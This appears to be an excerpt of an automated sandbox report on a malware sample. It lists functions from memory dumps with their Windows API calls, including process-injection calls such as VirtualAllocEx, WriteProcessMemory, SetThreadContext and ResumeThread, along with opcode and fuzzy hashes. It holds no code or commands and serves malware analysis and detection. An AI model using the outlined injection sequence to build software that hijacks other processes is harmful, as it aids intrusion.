Instruction Fuzzy Hash: 125187B4D012498FDB15CFAAD948BDEBBF4EF88314F20845AE419A7351CB746984CF61

Uniqueness

Uniqueness Score: -1.00%

Function 00ABB6B0, Relevance: 6.1, APIs: 4, Instructions: 120threadCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 00ABB710
GetCurrentThread.KERNEL32 ref: 00ABB74D
GetCurrentProcess.KERNEL32 ref: 00ABB78A
GetCurrentThreadId.KERNEL32 ref: 00ABB7E3

Memory Dump Source

Source File: 00000000.00000002.685588967.0000000000AB0000.00000040.00000001.sdmp, Offset: 00AB0000, based on PE: false

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: a2857940012470cbd8a5bd2cf66a3ebd567d3b381a197321437501c86d00fb05
Instruction ID: c8d95031a775a80f4f1dcf77e563a404e6525204bf0fd4dd9aab67cab0cb5a3f
Opcode Fuzzy Hash: a2857940012470cbd8a5bd2cf66a3ebd567d3b381a197321437501c86d00fb05
Instruction Fuzzy Hash: A15166B4E012498FDB14CFAAD588BDEBBF4EF88314F208459E419A7351CB74A984CF61

Uniqueness

Uniqueness Score: -1.00%

Function 071E80D6, Relevance: 1.7, APIs: 1, Instructions: 249processCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 071E8316

Memory Dump Source

Source File: 00000000.00000002.690339461.00000000071E0000.00000040.00000001.sdmp, Offset: 071E0000, based on PE: false

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 4c8b458b5f68edf3495bc88b902dee416f6a50a0cf0b861d6b6bb85c5061a193
Instruction ID: 4e80782786e4dabcbdb5a230be6a35f266147a7a0cc4f5e827fedc47c703c0c1
Opcode Fuzzy Hash: 4c8b458b5f68edf3495bc88b902dee416f6a50a0cf0b861d6b6bb85c5061a193
Instruction Fuzzy Hash: 8AA15CB1D04A1ADFDB11CFA8CC407DEBBB6BF48314F1485A9E819A7280DB749985CF91

Uniqueness

Uniqueness Score: -1.00%

Function 071E80E0, Relevance: 1.7, APIs: 1, Instructions: 243processCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 071E8316

Memory Dump Source

Source File: 00000000.00000002.690339461.00000000071E0000.00000040.00000001.sdmp, Offset: 071E0000, based on PE: false

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 818da217c98294b3bdf0cb90b39db11c5687b8660c386c630e013fde07ec4fa6
Instruction ID: 377eb9b332c40f278690f57aa7efa87dfde33439467604dd790900ecf5155a3c
Opcode Fuzzy Hash: 818da217c98294b3bdf0cb90b39db11c5687b8660c386c630e013fde07ec4fa6
Instruction Fuzzy Hash: 73914BB1D04A1ACFDB11CFA8CC417DEBBB6BF48314F1485A9E819A7280DB749985CF91

Uniqueness

Uniqueness Score: -1.00%

Function 00AB96B0, Relevance: 1.7, APIs: 1, Instructions: 200COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 00AB98F6

Memory Dump Source

Source File: 00000000.00000002.685588967.0000000000AB0000.00000040.00000001.sdmp, Offset: 00AB0000, based on PE: false

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 213f569b6846d6687104f2e79d8b4082c3dd521a18578e6b31ef85fd6736c86e
Instruction ID: cba2910f3ecac1255a2c691ca8c0ec5bb7ee36945b85e0307d7d174b0452ed0f
Opcode Fuzzy Hash: 213f569b6846d6687104f2e79d8b4082c3dd521a18578e6b31ef85fd6736c86e
Instruction Fuzzy Hash: B6713270A00B058FDB24DF69D1457ABBBF9BF88304F00892DD54ADBA41DB35E846CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00ABFD0C, Relevance: 1.6, APIs: 1, Instructions: 118COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 00ABFE2A

Memory Dump Source

Source File: 00000000.00000002.685588967.0000000000AB0000.00000040.00000001.sdmp, Offset: 00AB0000, based on PE: false

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 72a46090a350c2da1c6535fe34de015dabdf6be6850b28dbfdf8be0e0f0cb410
Instruction ID: b58fa70ae6d49339250c6e4eb471f109d4f4ba069109e716edf14dacda9bfab6
Opcode Fuzzy Hash: 72a46090a350c2da1c6535fe34de015dabdf6be6850b28dbfdf8be0e0f0cb410
Instruction Fuzzy Hash: 0551D0B1D00309AFDB14CFA9C884ADEBFB5BF48314F24812AE818AB211D7749985CF90

Uniqueness

Uniqueness Score: -1.00%

Function 00ABFD18, Relevance: 1.6, APIs: 1, Instructions: 113COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 00ABFE2A

Memory Dump Source

Source File: 00000000.00000002.685588967.0000000000AB0000.00000040.00000001.sdmp, Offset: 00AB0000, based on PE: false

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: fcf2d261fb70b0b55e23180fcff12af59bdc6b3680ba1ae03e2915c888f1cf1f
Instruction ID: f5ada2326331210b1c0886bb860724434e0da9d6f7716e205578473925407f47
Opcode Fuzzy Hash: fcf2d261fb70b0b55e23180fcff12af59bdc6b3680ba1ae03e2915c888f1cf1f
Instruction Fuzzy Hash: C641B1B1D10309DFDB14CF99C884ADEBFB5BF48314F64812AE819AB211D7759945CF90

Uniqueness

Uniqueness Score: -1.00%

Function 00AB3CAC, Relevance: 1.6, APIs: 1, Instructions: 96COMMON

Download Yara Rule

APIs

CreateActCtxA.KERNEL32(?), ref: 00AB5421

Memory Dump Source

Source File: 00000000.00000002.685588967.0000000000AB0000.00000040.00000001.sdmp, Offset: 00AB0000, based on PE: false

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 4a48335a6f0d2118a2e30cb0ea60cfbe0012968cd4f64f0aad182566aaff650f
Instruction ID: 28a508d082ef4c465dab778f6bcd4bb5f94657eba067fe3980261989726589dd
Opcode Fuzzy Hash: 4a48335a6f0d2118a2e30cb0ea60cfbe0012968cd4f64f0aad182566aaff650f
Instruction Fuzzy Hash: 5541C271C0461CCBDB24DFA9C845BDEBBB9BF89304F208069D409AB251DBB56985CF90

Uniqueness

Uniqueness Score: -1.00%

Function 00AB5369, Relevance: 1.6, APIs: 1, Instructions: 95COMMON

Download Yara Rule

APIs

CreateActCtxA.KERNEL32(?), ref: 00AB5421

Memory Dump Source

Source File: 00000000.00000002.685588967.0000000000AB0000.00000040.00000001.sdmp, Offset: 00AB0000, based on PE: false

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 8e316a04be767e16872bc424004129dae24bfca233179f01e04928ae459069db
Instruction ID: 432069fce47d1e42deb643f73f15d7913180faa490dc8e2461e25bf5284df631
Opcode Fuzzy Hash: 8e316a04be767e16872bc424004129dae24bfca233179f01e04928ae459069db
Instruction Fuzzy Hash: 0D41D371C04618CFDB25DFA9C8457DEFBB5BF89308F20806AD409AB251DBB55986CF90

Uniqueness

Uniqueness Score: -1.00%

Function 071E7E52, Relevance: 1.6, APIs: 1, Instructions: 70injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 071E7EE8

Memory Dump Source

Source File: 00000000.00000002.690339461.00000000071E0000.00000040.00000001.sdmp, Offset: 071E0000, based on PE: false

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 4359e33f4f9142759fa13152d5666a72559ae8a493ece418edab36f8dee9b47f
Instruction ID: 1545841a03df43d5acb24963ad8ed8047b197c789dda59f18a6fc29952cf15af
Opcode Fuzzy Hash: 4359e33f4f9142759fa13152d5666a72559ae8a493ece418edab36f8dee9b47f
Instruction Fuzzy Hash: 542117B19002499FDB10CFA9C885BEEBBF5FF48314F508829E919A7740DB74A954CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 071E7F42, Relevance: 1.6, APIs: 1, Instructions: 69COMMON

Download Yara Rule

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 071E7FC8

Memory Dump Source

Source File: 00000000.00000002.690339461.00000000071E0000.00000040.00000001.sdmp, Offset: 071E0000, based on PE: false

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: eac5802b927421dbbce19a3b3ea59cee7dd932354eab747b419eebc369278d05
Instruction ID: faa440d30412a2f7b29645c87ca8b98c5c33efe6d0c574f940428c5808defd5e
Opcode Fuzzy Hash: eac5802b927421dbbce19a3b3ea59cee7dd932354eab747b419eebc369278d05
Instruction Fuzzy Hash: 8C2139B1D002499FDB10DFA9C8806EEBBF5FF48310F54842AE558A7680C775A944DFA1

Uniqueness

Uniqueness Score: -1.00%

Function 071E7E58, Relevance: 1.6, APIs: 1, Instructions: 69injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 071E7EE8

Memory Dump Source

Source File: 00000000.00000002.690339461.00000000071E0000.00000040.00000001.sdmp, Offset: 071E0000, based on PE: false

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 33d5f59fb39f7c32dcee32a8e5e7349ababcc60f842e5297a762c2e7ade309db
Instruction ID: b50154dc7ca073879b98b151e937755ed77c332787428fba0e6a940e18e61a9b
Opcode Fuzzy Hash: 33d5f59fb39f7c32dcee32a8e5e7349ababcc60f842e5297a762c2e7ade309db
Instruction Fuzzy Hash: 322128B19003499FDB10CFA9C8847EEBBF5FF48314F508429E919A7740DB74A944CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 071E7CB8, Relevance: 1.6, APIs: 1, Instructions: 68threadinjectionCOMMON

Download Yara Rule

APIs

SetThreadContext.KERNELBASE(?,00000000), ref: 071E7D3E

Memory Dump Source

Source File: 00000000.00000002.690339461.00000000071E0000.00000040.00000001.sdmp, Offset: 071E0000, based on PE: false

Similarity

API ID: ContextThread
String ID:
API String ID: 1591575202-0
Opcode ID: e273abe3d8443c4bde546558e3b7f0c8409b61852f3251a736e6022f35a128cd
Instruction ID: 22d50cc5b379910ed203876be02b048d9b6fcf6397850a1e81f42fdf8dfa591a
Opcode Fuzzy Hash: e273abe3d8443c4bde546558e3b7f0c8409b61852f3251a736e6022f35a128cd
Instruction Fuzzy Hash: 6A213CB1D002099FDB10CFA9C8847EEBBF8AF49324F548429D559A7680DB78A945CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 00ABB8D2, Relevance: 1.6, APIs: 1, Instructions: 65COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 00ABB95F

Memory Dump Source

Source File: 00000000.00000002.685588967.0000000000AB0000.00000040.00000001.sdmp, Offset: 00AB0000, based on PE: false

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 3b2dd9eac56adf3a4f0337f9ad40eba1a00216398ce9e0e90693323586cab5b3
Instruction ID: 3da752216fd08b8776beffc54ccb530ac0bfabd3b22ae655453fc70144744b8b
Opcode Fuzzy Hash: 3b2dd9eac56adf3a4f0337f9ad40eba1a00216398ce9e0e90693323586cab5b3
Instruction Fuzzy Hash: 8921E2B5D00208AFDB10CFAAD884ADEBBF8EF48320F14801AE914B7311D374A945CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 071E7F48, Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 071E7FC8

Memory Dump Source

Source File: 00000000.00000002.690339461.00000000071E0000.00000040.00000001.sdmp, Offset: 071E0000, based on PE: false

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 07fa4402859de40f06bc384e15eda65b8aa33672d315e143c8074375cbe2a6aa
Instruction ID: 079d1eab12ce3f3030404dea1741bf0ddf5df60e4228a9f138e241100ea1f523
Opcode Fuzzy Hash: 07fa4402859de40f06bc384e15eda65b8aa33672d315e143c8074375cbe2a6aa
Instruction Fuzzy Hash: D62128B1D002499FDB10CFA9C8807EEBBF5FF48314F50842AE518A7640D775A944CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 071E7CC0, Relevance: 1.6, APIs: 1, Instructions: 63threadinjectionCOMMON

Download Yara Rule

APIs

SetThreadContext.KERNELBASE(?,00000000), ref: 071E7D3E

Memory Dump Source

Source File: 00000000.00000002.690339461.00000000071E0000.00000040.00000001.sdmp, Offset: 071E0000, based on PE: false

Similarity

API ID: ContextThread
String ID:
API String ID: 1591575202-0
Opcode ID: 51edd712570e6ea243f8ddfd338a586d0168b40606c31df6faac24103de8bf04
Instruction ID: 44f14ad3b64772f06c66e44c0490f4ba952677c7741bad658346e50d37bfc010
Opcode Fuzzy Hash: 51edd712570e6ea243f8ddfd338a586d0168b40606c31df6faac24103de8bf04
Instruction Fuzzy Hash: 8E2118B1D006098FDB10CFAAC4857EEBBF4AF48214F54842AD519A7780DB78A945CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 00ABB8D8, Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 00ABB95F

Memory Dump Source

Source File: 00000000.00000002.685588967.0000000000AB0000.00000040.00000001.sdmp, Offset: 00AB0000, based on PE: false

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 8ba3ac07190d26f62f6c85514a9df36fcf3d77e3a8957974ecad732670a03d75
Instruction ID: 7a5d71b6031a1d3fb736530b1973f4749b2f0f3cb020dd3d4b936e075929fb3e
Opcode Fuzzy Hash: 8ba3ac07190d26f62f6c85514a9df36fcf3d77e3a8957974ecad732670a03d75
Instruction Fuzzy Hash: 0821C2B5D00209AFDB10CFAAD884ADEBBF8EB48324F14841AE914B7311D374A954CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 071E7D90, Relevance: 1.6, APIs: 1, Instructions: 57memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 071E7E06

Memory Dump Source

Source File: 00000000.00000002.690339461.00000000071E0000.00000040.00000001.sdmp, Offset: 071E0000, based on PE: false

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 55a0441f59677a4ade19eb0131b4b35f1b806854fc0e7539c3fbb226a928cb16
Instruction ID: f76c640505a46f49626850a5683afad2ea9aa0c220c15d09f430f05e44520d73
Opcode Fuzzy Hash: 55a0441f59677a4ade19eb0131b4b35f1b806854fc0e7539c3fbb226a928cb16
Instruction Fuzzy Hash: 1F1133B19002499BDB11CFAAC8447EEBFF9AB49324F148829E515AB250CB75A944CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 00AB92C8, Relevance: 1.6, APIs: 1, Instructions: 55libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,00AB9971,00000800,00000000,00000000), ref: 00AB9B82

Memory Dump Source

Source File: 00000000.00000002.685588967.0000000000AB0000.00000040.00000001.sdmp, Offset: 00AB0000, based on PE: false

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 0dae3f1bfa7e0acd1d43da7ed9dfe3eeadefe77d9a5b63856b3a9e939cb3e642
Instruction ID: 6083b2d2eb699aa13d1a7b222fab74e3a66c1a4684628592cbf056f5fcd1e051
Opcode Fuzzy Hash: 0dae3f1bfa7e0acd1d43da7ed9dfe3eeadefe77d9a5b63856b3a9e939cb3e642
Instruction Fuzzy Hash: 431100B6D002098FDB10CF9AD444ADFFBF8EB88324F14842AE919B7601C375A945CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 071E7C08, Relevance: 1.6, APIs: 1, Instructions: 54threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE ref: 071E7C72

Memory Dump Source

Source File: 00000000.00000002.690339461.00000000071E0000.00000040.00000001.sdmp, Offset: 071E0000, based on PE: false

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 7c5af1cfea0cc0719fef15232a371d23364b38a593cb1875fa980bcff469edfa
Instruction ID: 32d1dfe615b26b75c526f2a5a709ac23ff19cf180da697de6feefd99a6d00050
Opcode Fuzzy Hash: 7c5af1cfea0cc0719fef15232a371d23364b38a593cb1875fa980bcff469edfa
Instruction Fuzzy Hash: FA1149B1D002498BDB10DFA9C8447DFFBF9AF49224F148829D519B7640CB796944CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 071E7D98, Relevance: 1.6, APIs: 1, Instructions: 53memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 071E7E06

Memory Dump Source

Source File: 00000000.00000002.690339461.00000000071E0000.00000040.00000001.sdmp, Offset: 071E0000, based on PE: false

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 661aa02d2950356e81726769d0dbac3e2a903978075b830178883d36e931e716
Instruction ID: 03cce9b77649b1f51c88cd2c3ad6d4d926243143ebcbdd7cf24f4060f33e91f0
Opcode Fuzzy Hash: 661aa02d2950356e81726769d0dbac3e2a903978075b830178883d36e931e716
Instruction Fuzzy Hash: 161167719002099FDB10CFA9C8447DFBBF9AF48324F148829E515B7250CB75A944CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 00AB9B12, Relevance: 1.6, APIs: 1, Instructions: 53libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,00AB9971,00000800,00000000,00000000), ref: 00AB9B82

Memory Dump Source

Source File: 00000000.00000002.685588967.0000000000AB0000.00000040.00000001.sdmp, Offset: 00AB0000, based on PE: false

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 82b8232b1116d0b4055b1d5d84bd3d26765d54e2f44ebb1da95127d9fd32691c
Instruction ID: 432e199b67cfc6d94af3309fb56c74783d1a2c697212dbc19cfafef7e6f9c69f
Opcode Fuzzy Hash: 82b8232b1116d0b4055b1d5d84bd3d26765d54e2f44ebb1da95127d9fd32691c
Instruction Fuzzy Hash: 1011E2B6D002498FDB10CF9AD444ADEFBF8AB88324F14842AE919A7700C775A945CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 071E7C10, Relevance: 1.5, APIs: 1, Instructions: 49threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE ref: 071E7C72

Memory Dump Source

Source File: 00000000.00000002.690339461.00000000071E0000.00000040.00000001.sdmp, Offset: 071E0000, based on PE: false

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: d33f07acf957c38708259a471d5fb870c44d70c5e58a7301eb03a3093d942ee9
Instruction ID: f51775a2bbe083b128644cdfa032ec8a486caf73daab52fc523ba43684f9c4d2
Opcode Fuzzy Hash: d33f07acf957c38708259a471d5fb870c44d70c5e58a7301eb03a3093d942ee9
Instruction Fuzzy Hash: 201128B1D002498FDB10DFAAC8447DEFBF9AB88224F148829D515A7740CB75A944CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 00AB9890, Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 00AB98F6

Memory Dump Source

Source File: 00000000.00000002.685588967.0000000000AB0000.00000040.00000001.sdmp, Offset: 00AB0000, based on PE: false

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: c3375717b12bf6e189996a0b82f1e8c6506512b3cd992b6a88e40b4889c436b3
Instruction ID: 3b79e5ef9f2378a51dd0b641e2bf3405c6723f2f26f892984bed0af43c4529a0
Opcode Fuzzy Hash: c3375717b12bf6e189996a0b82f1e8c6506512b3cd992b6a88e40b4889c436b3
Instruction Fuzzy Hash: FC11FDB1D002498BDB10CF9AD444ADEBBF8AB89324F10842AD529B7600C374A545CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 071EA5C0, Relevance: 1.5, APIs: 1, Instructions: 44windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,?,?,?), ref: 071EA61D

Memory Dump Source

Source File: 00000000.00000002.690339461.00000000071E0000.00000040.00000001.sdmp, Offset: 071E0000, based on PE: false

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: a68b382a2d11026ee25606d5012ec583456a911488978e223ed863330b7ac925
Instruction ID: 3f70afbb831e65358856aa97d6e6544e8bbb6bed71f4edcdd3c35cef1152a116
Opcode Fuzzy Hash: a68b382a2d11026ee25606d5012ec583456a911488978e223ed863330b7ac925
Instruction Fuzzy Hash: 9811D0B58006499FDB10CF9AD885BDEBBF8EB59324F10841AE519A7740C375A944CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 00A1D4C4, Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.685492575.0000000000A1D000.00000040.00000001.sdmp, Offset: 00A1D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f8255edb0d981c831d8a10ee8444b538a091ce53e1fdf462e6608303fa74f6f1
Instruction ID: 95ab773e83764d13c91805694598050d7a24c1f6ce168990a1b878d0e99cc3c4
Opcode Fuzzy Hash: f8255edb0d981c831d8a10ee8444b538a091ce53e1fdf462e6608303fa74f6f1
Instruction Fuzzy Hash: 8021F5B1504240EFDB15DF14D9C0BABBF66FB98328F248969E8054F246C336D896DBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00A2D1D4, Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.685516490.0000000000A2D000.00000040.00000001.sdmp, Offset: 00A2D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f6ff489be54f9687028c72608ddabc8fbd65df004ad2deb551dcd2a8c1604a05
Instruction ID: 8b51d45d8aa18f651985c34e127e2b8fd4f35c06ff73d5b8d5ffdd96136f4309
Opcode Fuzzy Hash: f6ff489be54f9687028c72608ddabc8fbd65df004ad2deb551dcd2a8c1604a05
Instruction Fuzzy Hash: 5A21F2B1904200EFDB05CF58E9C4B66BBA5FB88314F24CAB9E8094F342C736D846CB61

Uniqueness

Uniqueness Score: -1.00%

Function 00A2D01C, Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.685516490.0000000000A2D000.00000040.00000001.sdmp, Offset: 00A2D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ee154acb9882d5344f612dfcd69614e5821aac46b7f82bbdc6b12b399909d04b
Instruction ID: 29619136ce45afeebbe7b8f3b106b5bed2ca8479b363d0dcc7faa0dcac85233d
Opcode Fuzzy Hash: ee154acb9882d5344f612dfcd69614e5821aac46b7f82bbdc6b12b399909d04b
Instruction Fuzzy Hash: 4D21F275908240EFDB14CF18E9C4B16BB65FB88324F24C979D84A4B367C73AD847CA61

Uniqueness

Uniqueness Score: -1.00%

Function 00A1D4BF, Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.685492575.0000000000A1D000.00000040.00000001.sdmp, Offset: 00A1D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 99d004d151982520d82b782d4735647871151bc0f40ac205a76a03d9cb8f3c13
Instruction ID: e3f16b126af050f7373fd485274d193b5f6cc79df2bf29f30ba5526b6be332cb
Opcode Fuzzy Hash: 99d004d151982520d82b782d4735647871151bc0f40ac205a76a03d9cb8f3c13
Instruction Fuzzy Hash: C611E676404280CFCF16CF14D5C4B56BF72FB94324F28C6AAD8450B656C336D89ACBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00A2D017, Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.685516490.0000000000A2D000.00000040.00000001.sdmp, Offset: 00A2D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 10598f41ecae80e3ed7eaa2e4d93e548ce5d2277042f09e11ef5a73a669a8393
Instruction ID: 30eec0c515ea62aa20fde42f7bf12159393482ed85e9f33aff734a4fe0f3d92b
Opcode Fuzzy Hash: 10598f41ecae80e3ed7eaa2e4d93e548ce5d2277042f09e11ef5a73a669a8393
Instruction Fuzzy Hash: B7119075508280DFCB11CF14E5C4B15FB61FB44314F24C6AED84A4B766C33AD84ACB61

Uniqueness

Uniqueness Score: -1.00%

Function 00A2D1CF, Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.685516490.0000000000A2D000.00000040.00000001.sdmp, Offset: 00A2D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 10598f41ecae80e3ed7eaa2e4d93e548ce5d2277042f09e11ef5a73a669a8393
Instruction ID: 1b511d3ab7f95ffc176038c6828f2d82aa5a7c543834d1e0fb7e9c4f8df716e4
Opcode Fuzzy Hash: 10598f41ecae80e3ed7eaa2e4d93e548ce5d2277042f09e11ef5a73a669a8393
Instruction Fuzzy Hash: EB118B75904280DFDB16CF14D5C4B55BBA1FB84324F28C6AED8494B656C33AD84ACB61

Uniqueness

Uniqueness Score: -1.00%

Function 00A1D745, Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.685492575.0000000000A1D000.00000040.00000001.sdmp, Offset: 00A1D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6eb60116b958e3c537aa5bd3d1e2a5fcbd0e57a252a5f27efa34faa64fc786e3
Instruction ID: 09c943540054094f0ac315f1d65a126b8c78714289901eeb49616a491bb160a4
Opcode Fuzzy Hash: 6eb60116b958e3c537aa5bd3d1e2a5fcbd0e57a252a5f27efa34faa64fc786e3
Instruction Fuzzy Hash: 6301F271508344AAE7108F29CD84BA7BBACEF41378F18855AE9045F282D7799884CAB1

Uniqueness

Uniqueness Score: -1.00%

Function 00A1D744, Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.685492575.0000000000A1D000.00000040.00000001.sdmp, Offset: 00A1D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b6d3d4f7b8bedf618ed32284f96da403e9ca3fe8688ea34db6fc70888471df8c
Instruction ID: 33f1aee7b1897060d806f4453a377e27ec9b28401159c2717bd2dd52b0202453
Opcode Fuzzy Hash: b6d3d4f7b8bedf618ed32284f96da403e9ca3fe8688ea34db6fc70888471df8c
Instruction Fuzzy Hash: A7F06271404244AEE7118F19CC84BA2FB98EB91734F1CC45AED085F786C7799884CAB1

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 071E0040, Relevance: 1.4, Strings: 1, Instructions: 101COMMON

Download Yara Rule

Strings

/, xrefs: 071E121D

Memory Dump Source

Source File: 00000000.00000002.690339461.00000000071E0000.00000040.00000001.sdmp, Offset: 071E0000, based on PE: false

Similarity

API ID:
String ID: /
API String ID: 0-2043925204
Opcode ID: ccec8f7c4533460db89411760fe42aad51806123b139233f5ab60272e112a74e
Instruction ID: b937919eb6984afbf3442bf211997524dd29a068ea8c839e18776ad272b63f5b
Opcode Fuzzy Hash: ccec8f7c4533460db89411760fe42aad51806123b139233f5ab60272e112a74e
Instruction Fuzzy Hash: 104132B1E016588BEB5CCF6BCC4079DFAF7AFC9200F54C1BA990CAA255DB3009868F14

Uniqueness

Uniqueness Score: -1.00%

Function 00ABE598, Relevance: .3, Instructions: 315COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.685588967.0000000000AB0000.00000040.00000001.sdmp, Offset: 00AB0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cdad691b04bf35c7ffe29b122184896f1c13c401f427629efbadfd3e96811dd7
Instruction ID: dac723c4d87498a035f0c5ad9a137dbc0c6349bbd4828da7a825f25f3d67c2ce
Opcode Fuzzy Hash: cdad691b04bf35c7ffe29b122184896f1c13c401f427629efbadfd3e96811dd7
Instruction Fuzzy Hash: DA125CB1C11A868AE310DFB5FDDC1897BA1B7453ACB904328D2612FAE1D7B8154BCF94

Uniqueness

Uniqueness Score: -1.00%

Function 00ABC154, Relevance: .3, Instructions: 265COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.685588967.0000000000AB0000.00000040.00000001.sdmp, Offset: 00AB0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f1c8b97bcf21fe42f2ca614764932240c07b0aa9e403d573e21a0ae9284cb1b2
Instruction ID: 3f89e62567d81cba70f948ab06dfaf6bf654385d6e8df426d591069566d76dd2
Opcode Fuzzy Hash: f1c8b97bcf21fe42f2ca614764932240c07b0aa9e403d573e21a0ae9284cb1b2
Instruction Fuzzy Hash: F9A16C32E006198FCF05DFB5C9449DEBBB6FF89300B15856AE905BB262EB31A945CF50

Uniqueness

Uniqueness Score: -1.00%

Function 071E0039, Relevance: .1, Instructions: 100COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.690339461.00000000071E0000.00000040.00000001.sdmp, Offset: 071E0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 76fe55c1ed9497f5e8c94c1a00a5e7f3de2b685387d13cd54e1a050287adedca
Instruction ID: 0d2833349d2eba07e95f10acdff9c94471775034b8a437736544e3ffed6f2ca9
Opcode Fuzzy Hash: 76fe55c1ed9497f5e8c94c1a00a5e7f3de2b685387d13cd54e1a050287adedca
Instruction Fuzzy Hash: C84135B1E116588BEB5CCF6B8C4069DFAF7AFC9300F54C5BAD90CAA255DB3005468F54

